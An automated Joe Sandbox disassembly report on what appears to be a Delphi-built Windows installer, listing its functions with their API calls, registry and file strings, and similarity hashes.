Part of subcall function 00453A90: CloseHandle.KERNEL32(00000001,00453B1A,00453B13,?,00000031,00000080,00000000,?,?,00453E6B,00000080,0000003C,00000000,00453E81), ref: 00453B0D

Strings

.bat, xrefs: 00453BB4
D, xrefs: 00453C6C
.cmd, xrefs: 00453BCF
cmd.exe" /C ", xrefs: 00453C01
COMMAND.COM" /C , xrefs: 00453C38

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseHandleWait$CodeErrorExitIdleInputLastMultipleObjectsProcess
String ID: .bat$.cmd$COMMAND.COM" /C $D$cmd.exe" /C "
API String ID: 854858120-615399546
Opcode ID: 37fea778c17c5cf0ce3a165c14437d8329c15c361137d79e19ae729541f2c62f
Instruction ID: 9001de2bd25fd05f465b63e3762ff7c21a50a5b55c7eedbacbe6793133894bc5
Opcode Fuzzy Hash: 37fea778c17c5cf0ce3a165c14437d8329c15c361137d79e19ae729541f2c62f
Instruction Fuzzy Hash: 8251577460034DABCB01EFA5C841BDDBBB9AF44746F50443BB804B7283D7789B098B59

Function 004235FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 96windowCOMMON

Download Yara Rule

APIs

LoadIconA.USER32(00400000,MAINICON), ref: 0042368C
GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418F56,00000000,?,?,?,00000001), ref: 004236B9
OemToCharA.USER32(?,?), ref: 004236CC
CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418F56,00000000,?,?,?,00000001), ref: 0042370C

Strings

MAINICON, xrefs: 00423681
2, xrefs: 0042365A

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Char$FileIconLoadLowerModuleName
String ID: 2$MAINICON
API String ID: 3935243913-3181700818
Opcode ID: b8e4f3de8f6e7962c855b1bbff0a6ea575b20ad32e9f870a500b7efad52da8d9
Instruction ID: d7f5d394b2ec06d520cb0a4b60bf3498b9d8aa77ab50e693133e7ce4a757069a
Opcode Fuzzy Hash: b8e4f3de8f6e7962c855b1bbff0a6ea575b20ad32e9f870a500b7efad52da8d9
Instruction Fuzzy Hash: DC31A2B0A042559ADF10EF29D8C57C67BE8AF14308F4441BAE844DB393D7BED988CB65

Function 00418EA8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55threadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000), ref: 00418EAD
GlobalAddAtomA.KERNEL32(00000000), ref: 00418ECE
GetCurrentThreadId.KERNEL32 ref: 00418EE9
GlobalAddAtomA.KERNEL32(00000000), ref: 00418F0A

Part of subcall function 00423038: 73A1A570.USER32(00000000,?,?,00000000,?,00418F43,00000000,?,?,?,00000001), ref: 0042308E
Part of subcall function 00423038: EnumFontsA.GDI32(00000000,00000000,00422FD8,004105C0,00000000,?,?,00000000,?,00418F43,00000000,?,?,?,00000001), ref: 004230A1
Part of subcall function 00423038: 73A24620.GDI32(00000000,0000005A,00000000,00000000,00422FD8,004105C0,00000000,?,?,00000000,?,00418F43,00000000), ref: 004230A9
Part of subcall function 00423038: 73A1A480.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,00422FD8,004105C0,00000000,?,?,00000000,?,00418F43,00000000), ref: 004230B4

Part of subcall function 004235FC: LoadIconA.USER32(00400000,MAINICON), ref: 0042368C
Part of subcall function 004235FC: GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418F56,00000000,?,?,?,00000001), ref: 004236B9
Part of subcall function 004235FC: OemToCharA.USER32(?,?), ref: 004236CC
Part of subcall function 004235FC: CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418F56,00000000,?,?,?,00000001), ref: 0042370C

Part of subcall function 0041F088: GetVersion.KERNEL32(?,00418F60,00000000,?,?,?,00000001), ref: 0041F096
Part of subcall function 0041F088: SetErrorMode.KERNEL32(00008000,?,00418F60,00000000,?,?,?,00000001), ref: 0041F0B2
Part of subcall function 0041F088: LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418F60,00000000,?,?,?,00000001), ref: 0041F0BE
Part of subcall function 0041F088: SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418F60,00000000,?,?,?,00000001), ref: 0041F0CC
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F0FC
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F125
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F13A
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F14F
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F164
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F179
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F18E
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F1A3
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F1B8
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F1CD

Strings

Delphi%.8X, xrefs: 00418EBF
ControlOfs%.8X%.8X, xrefs: 00418EFB

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc$AtomCharCurrentErrorGlobalLoadMode$A24620A480A570EnumFileFontsIconLibraryLowerModuleNameProcessThreadVersion
String ID: ControlOfs%.8X%.8X$Delphi%.8X
API String ID: 3864787166-2767913252
Opcode ID: f0445bf7bf10bd264bb05b6e6528e102989456be178d4747d5ca1c008ae033b0
Instruction ID: b4a2cca2d4326696562d23f03e9beb5cdbbc64ba536a620a3ee3ba5bc66bdef7
Opcode Fuzzy Hash: f0445bf7bf10bd264bb05b6e6528e102989456be178d4747d5ca1c008ae033b0
Instruction Fuzzy Hash: 9A1160B06142409AC700FF2A984274A7AE0EB64309F41843FF448DB2A1DB3D9945CB5E

Function 004135AC Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32(?,000000FC,?), ref: 004135D4
GetWindowLongA.USER32(?,000000F0), ref: 004135DF
GetWindowLongA.USER32(?,000000F4), ref: 004135F1
SetWindowLongA.USER32(?,000000F4,?), ref: 00413604
SetPropA.USER32(?,00000000,00000000), ref: 0041361B
SetPropA.USER32(?,00000000,00000000), ref: 00413632

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: LongWindow$Prop
String ID:
API String ID: 3887896539-0
Opcode ID: 86a15e674b3ea48860a72e4751bd866d9c55aec508b8b4782c27e449c12c4e66
Instruction ID: 44bb5ba5a57c54889193f85f1a8a28b74f903b4ef320443ee5f093ebf11223bc
Opcode Fuzzy Hash: 86a15e674b3ea48860a72e4751bd866d9c55aec508b8b4782c27e449c12c4e66
Instruction Fuzzy Hash: B611C975500244BFDB00DF99DC85E9A3BE8BB19364F114266B928DB2A1D738D9908B68

Function 004541E4 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 142registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047EBD7,?,00000001,?,?,0047EBD7,?,00000001,00000000), ref: 0042DC70

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,0045437B,?,00000000,004543BB), ref: 004542C1

Strings

PendingFileRenameOperations, xrefs: 00454260
WININIT.INI, xrefs: 004542F0
SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00454244
PendingFileRenameOperations2, xrefs: 00454290

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseOpen
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager$WININIT.INI
API String ID: 47109696-2199428270
Opcode ID: 7e363e07a95bbc210df0b9a163edd5247e701fbed2fca27e57f0868dd26fa95f
Instruction ID: 5dc9d3524cf6731dc98fa38ecc16b22c38dee717373b696336ba63adcf91df8c
Opcode Fuzzy Hash: 7e363e07a95bbc210df0b9a163edd5247e701fbed2fca27e57f0868dd26fa95f
Instruction Fuzzy Hash: 95519870F042089FDB14EF61DC51ADEB7B9EF84308F508577EC04AB692DB789A45CA58

Function 00463B70 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115windowCOMMON

Download Yara Rule

APIs

SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 00463C0D
ExtractIconA.SHELL32(00400000,00000000,?), ref: 00463C33

Part of subcall function 00463AB0: DrawIconEx.USER32(00000000,00000000,00000000,00000000,00000020,00000020,00000000,00000000,00000003), ref: 00463B48
Part of subcall function 00463AB0: DestroyCursor.USER32(00000000), ref: 00463B5E

SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 00463C8F
ExtractIconA.SHELL32(00400000,00000000,?), ref: 00463CB5

Strings

c:\directory, xrefs: 00463C08

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Icon$ExtractFileInfo$CursorDestroyDraw
String ID: c:\directory
API String ID: 2926980410-3984940477
Opcode ID: 7d4ca7aa11da9cee7d20320182c7d975b40f740104ebbe357f0bb62694f5d5d3
Instruction ID: 39c8bb8e711a6e2bee2e0ffe2103d0816364d6fdfbe2631b8887c4dec0a3813b
Opcode Fuzzy Hash: 7d4ca7aa11da9cee7d20320182c7d975b40f740104ebbe357f0bb62694f5d5d3
Instruction Fuzzy Hash: 76415C71600248AFD711DF95DD8AFDABBE8EB48701F2141A7F904A7381D678AE808A59

Function 0042DC7C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32registrylibraryloaderCOMMON

Download Yara Rule

APIs

RegDeleteKeyA.ADVAPI32(00000000,?), ref: 0042DC88
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,?,00000000,0042DE0B,00000000,0042DE23,?,?,?,?,00000006,?,00000000,004929D3), ref: 0042DCA3
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042DCA9

Strings

advapi32.dll, xrefs: 0042DC9E
RegDeleteKeyExA, xrefs: 0042DC99

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressDeleteHandleModuleProc
String ID: RegDeleteKeyExA$advapi32.dll
API String ID: 588496660-1846899949
Opcode ID: 08ebd3d1eb50582bbac49112764f79060e30de94754e30096b3cffddb85c4ff8
Instruction ID: 479eeeb2458f1cbf9b477f45b3eef1c6296245770f751ec8fb172f928072974a
Opcode Fuzzy Hash: 08ebd3d1eb50582bbac49112764f79060e30de94754e30096b3cffddb85c4ff8
Instruction Fuzzy Hash: 57E06DF0B45230AAD620676B7D4AFA327299B64725F54403BB105A619182FD4C40DE5C

Function 0047E198 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 213COMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(?,?,00000000,0047E4AD,?,?,00000001,?), ref: 0047E2A9
SHChangeNotify.SHELL32(08000000,00000000,00000000,00000000), ref: 0047E31E

Strings

, xrefs: 0047E3DB
Need to restart Windows? %s, xrefs: 0047E35B

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ActiveChangeNotifyWindow
String ID: $Need to restart Windows? %s
API String ID: 1160245247-4200181552
Opcode ID: bc8647be45d636d4caa72dc8c99c555568a6343f1155ea93f80916f10e779efa
Instruction ID: 2467752bb5085d5daeefdf20e1d782b0b59583cea52edf66936648f1f28d7b81
Opcode Fuzzy Hash: bc8647be45d636d4caa72dc8c99c555568a6343f1155ea93f80916f10e779efa
Instruction Fuzzy Hash: 5891A2306142448FCB14EB6AD886B9E77F4AF49308F5081BBF8049B366DB38AD05DB5D

Function 0046BDB4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

Part of subcall function 0042C6E0: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C704

GetLastError.KERNEL32(00000000,0046BFB1,?,?,00000001,0049715C), ref: 0046BE8E
SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 0046BF08
SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 0046BF2D

Strings

Creating directory: %s, xrefs: 0046BE76

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ChangeNotify$ErrorFullLastNamePath
String ID: Creating directory: %s
API String ID: 2451617938-483064649
Opcode ID: 9c5beb8dbacc51cfb43aff7c57801c44992aa4e0eaeaac134bdce2741092b2da
Instruction ID: 74c8ceada43d646c2a190f3e42c496f454ebfbbd9463b199f5a7343b775fa980
Opcode Fuzzy Hash: 9c5beb8dbacc51cfb43aff7c57801c44992aa4e0eaeaac134bdce2741092b2da
Instruction Fuzzy Hash: 80512E74E00258ABDB05DBA5C882ADEB7F5EF48304F5081AAEC50F7392D7785E44CB99

Function 004538E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,SfcIsFileProtected), ref: 00453996
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,00453A5C), ref: 00453A00

Strings

SfcIsFileProtected, xrefs: 00453990
sfc.dll, xrefs: 00453958

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressByteCharMultiProcWide
String ID: SfcIsFileProtected$sfc.dll
API String ID: 2508298434-591603554
Opcode ID: ee3b5eb8bf44db3d7e65b105dd2a60489ce6968767a25fd9f830f4f92e2144a6
Instruction ID: 8b06ad9540cfbcb1f23f323bba9f9d3363974d9ca222cafbeef5aad8f4a13a74
Opcode Fuzzy Hash: ee3b5eb8bf44db3d7e65b105dd2a60489ce6968767a25fd9f830f4f92e2144a6
Instruction Fuzzy Hash: E6419770A043189FEB20DF65DC85B9E77B8AB04346F5041BBB948A7293D7789F48CA5C

Function 00451238 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

74D41520.VERSION(00000000,?,?,?,v*I), ref: 00451258
74D41500.VERSION(00000000,?,00000000,?,00000000,004512D3,?,00000000,?,?,?,v*I), ref: 00451285
74D41540.VERSION(?,004512FC,?,?,00000000,?,00000000,?,00000000,004512D3,?,00000000,?,?,?,v*I), ref: 0045129F

Strings

v*I, xrefs: 0045123E

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: D41500D41520D41540
String ID: v*I
API String ID: 2153611984-3478583532
Opcode ID: 5f3ada57c286474a97ac07cbb667822a69c95a9fc17a97ff7f24c5c252d56a5c
Instruction ID: a0bbc775c0b373febb01ad34cb615bfdec89f2f34d6b2a70139f95cf6887392c
Opcode Fuzzy Hash: 5f3ada57c286474a97ac07cbb667822a69c95a9fc17a97ff7f24c5c252d56a5c
Instruction Fuzzy Hash: 9621B035A00248AFCB01DAE9C841EAFB7FCEB49300F5540BAFC00E3292D6799E058769

Function 00451510 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,?,?,@fE,00000000,(fE,?,?,?,00000000,0045158A,?,?,?,00000001), ref: 00451564
GetLastError.KERNEL32(00000000,00000000,?,?,@fE,00000000,(fE,?,?,?,00000000,0045158A,?,?,?,00000001), ref: 0045156C

Strings

@fE, xrefs: 00451556, 00451559
(fE, xrefs: 0045154E, 00451551

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CreateErrorLastProcess
String ID: (fE$@fE
API String ID: 2919029540-1163616108
Opcode ID: ca15914b2a447b6ed57ba7f8671746eeaae98429ba3951c3e533be59ef09646a
Instruction ID: 1dfc3ee5c933d05d38f7810f40d6f084230013f91e4898be396792d47734d055
Opcode Fuzzy Hash: ca15914b2a447b6ed57ba7f8671746eeaae98429ba3951c3e533be59ef09646a
Instruction Fuzzy Hash: 15112776600208BF8B40DEA9DC81EEBB7ECEB8D310B514566FD18D3251E638AD148B64

Function 0045451C Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047EBD7,?,00000001,?,?,0047EBD7,?,00000001,00000000), ref: 0042DC70

RegCloseKey.ADVAPI32(?,00454587,?,00000001,00000000), ref: 0045457A

Strings

SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00454528
PendingFileRenameOperations, xrefs: 0045454C
PendingFileRenameOperations2, xrefs: 0045455B

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseOpen
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager
API String ID: 47109696-2115312317
Opcode ID: 4458fbd090e8167ec05650a9259938c74a69315818b20a83d3b06d959b890f21
Instruction ID: f0aed36f3011d3d24710920dd404f8fbfd5a00043595d59dc54131e664a66d34
Opcode Fuzzy Hash: 4458fbd090e8167ec05650a9259938c74a69315818b20a83d3b06d959b890f21
Instruction Fuzzy Hash: C8F0C2312042087FDB0496A2AC02A5A73ACD784729F708866FA04AA582FE78ED44951C

Function 0047B140 Relevance: 6.1, APIs: 4, Instructions: 147fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,?,?,?,00000000,0047B339,?,00000000,00000000,?,?,0047C4CC,?,?,00000000), ref: 0047B1E6
FindClose.KERNEL32(000000FF,000000FF,?,?,?,?,00000000,0047B339,?,00000000,00000000,?,?,0047C4CC,?,?), ref: 0047B1F3
FindNextFileA.KERNEL32(000000FF,?,00000000,0047B30C,?,?,?,?,00000000,0047B339,?,00000000,00000000,?,?,0047C4CC), ref: 0047B2E8
FindClose.KERNEL32(000000FF,0047B313,0047B30C,?,?,?,?,00000000,0047B339,?,00000000,00000000,?,?,0047C4CC,?), ref: 0047B306

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: 4fda774ea91b862154f6ede3dc81b875fa2445d19b91cc05215c53bc7daf64b8
Instruction ID: 52a3f57b26ed505bd5ccb9f35be9564adbeac1ada31637d16635b0add77eef89
Opcode Fuzzy Hash: 4fda774ea91b862154f6ede3dc81b875fa2445d19b91cc05215c53bc7daf64b8
Instruction Fuzzy Hash: 9B514E70A00648AFCB11DF65CC45ADEB7B8EB88315F5085AAA808E7351D7389F858F94

Function 004211E4 Relevance: 6.1, APIs: 4, Instructions: 127windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(00000000), ref: 004212D1
SetMenu.USER32(00000000,00000000), ref: 004212EE
SetMenu.USER32(00000000,00000000), ref: 00421323
SetMenu.USER32(00000000,00000000), ref: 0042133F

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Menu
String ID:
API String ID: 3711407533-0
Opcode ID: 828adb1f4503573b8b19ec7e50c880e5d7ba93b5c851f867c46ca8f401a21855
Instruction ID: 658f50d7c39b10a4f0c402205ec9e9078e39c2738942e4c3e39302bb3a71e335
Opcode Fuzzy Hash: 828adb1f4503573b8b19ec7e50c880e5d7ba93b5c851f867c46ca8f401a21855
Instruction Fuzzy Hash: 7641BE307002645BEB20AA7AA88579B37914F65308F4845BFFC44EF3A7CA7DCC4582AD

Function 00416AB2 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 00416AF4
SetTextColor.GDI32(?,00000000), ref: 00416B0E
SetBkColor.GDI32(?,00000000), ref: 00416B28
CallWindowProcA.USER32(?,?,?,?,?), ref: 00416B50

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Color$CallMessageProcSendTextWindow
String ID:
API String ID: 601730667-0
Opcode ID: 1d3cbda9518b2ce12e9cd07cc94b211126e19477f7e649d954dcb8d793c07e3f
